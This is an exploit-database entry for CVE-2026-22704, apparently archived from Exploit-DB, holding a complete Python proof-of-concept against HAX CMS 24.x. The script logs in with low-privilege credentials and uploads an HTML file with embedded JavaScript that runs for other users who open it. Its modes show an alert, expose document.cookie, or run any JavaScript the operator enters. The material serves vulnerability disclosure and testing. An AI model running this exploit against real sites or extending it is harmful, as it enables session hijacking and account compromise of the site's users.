[webapps] HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
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Archived Apr 29, 2026
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HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
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HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
EDB-ID:
52526
CVE:
2026-22704
EDB Verified:
Author:
BANYAMER
Type:
WEBAPPS
Exploit: /
Platform:
MULTIPLE
Date:
2026-04-29
Vulnerable App:
# Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
# Date: 2026-01-28
# Google Dork: "N/A"
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Vendor Homepage: https://www.drupal.org/project/hax
# Software Link: https://github.com/elmsln/haxcms
# Version: <= 24.x (tested)
# Tested on: Linux
# CVE: CVE-2026-22704
#
# Description:
# HAX CMS allows low-privileged authenticated users to upload HTML files
# without proper content sanitization. Uploaded HTML files are rendered
# directly by the application, leading to a Stored Cross-Site Scripting (XSS)
# vulnerability when accessed by other users.
#
#
# Usage:
# python3 haxcms_stored_xss.py --target http://TARGET --user USER --password PASS
#
import argparse
import requests
from urllib.parse import urljoin
def create_poc_html(payload_type="alert"):
"""
Generate HTML PoC file.
Payload types:
- alert : simple JS alert (default)
- cookie : cookie access demonstration
- custom : user supplied JavaScript
"""
if payload_type == "cookie":
js_payload = """
alert("PoC: document.cookie = " + document.cookie);
"""
elif payload_type == "alert":
js_payload = """
alert("Stored XSS PoC - CVE-2026-22704");
"""
else:
js_payload = payload_type
return f"""<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PoC</title>
</head>
<body>
<h2>HAX CMS Stored XSS PoC</h2>
<script>
{js_payload.strip()}
</script>
</body>
</html>
"""
def upload_file(target, username, password, filename, content):
session = requests.Session()
login_url = urljoin(target, "/user/login")
login_data = {
"name": username,
"pass": password,
"form_id": "user_login_form",
"op": "Log in"
}
print("[*] Logging in...")
r = session.post(login_url, data=login_data, allow_redirects=True)
if "log out" not in r.text.lower():
print("[!] Login failed")
return False
print("[+] Login successful")
upload_url = urljoin(target, "/files/upload")
files = {
"files[upload]": (filename, content.encode(), "text/html")
}
print("[*] Uploading HTML file...")
r = session.post(upload_url, files=files)
if r.status_code not in (200, 201, 302):
print("[!] Upload failed")
return False
file_url = urljoin(target, f"/sites/default/files/{filename}")
print("[+] File uploaded successfully")
print("[+] PoC URL:")
print(file_url)
return True
def main():
parser = argparse.ArgumentParser(description="HAX CMS Stored XSS PoC (CVE-2026-22704)")
parser.add_argument("--target", required=True, help="Target base URL")
parser.add_argument("--user", required=True, help="Low privilege username")
parser.add_argument("--password", required=True, help="Password")
parser.add_argument("--payload", default="alert",
choices=["alert", "cookie", "custom"],
help="PoC payload type")
parser.add_argument("--filename", default="poc.html",
help="Uploaded file name")
args = parser.parse_args()
if args.payload == "custom":
js = input("[?] Enter custom JavaScript payload:\n> ")
html = create_poc_html(js)
else:
html = create_poc_html(args.payload)
upload_file(
args.target.rstrip("/"),
args.user,
args.password,
args.filename,
html
)
if __name__ == "__main__":
main()
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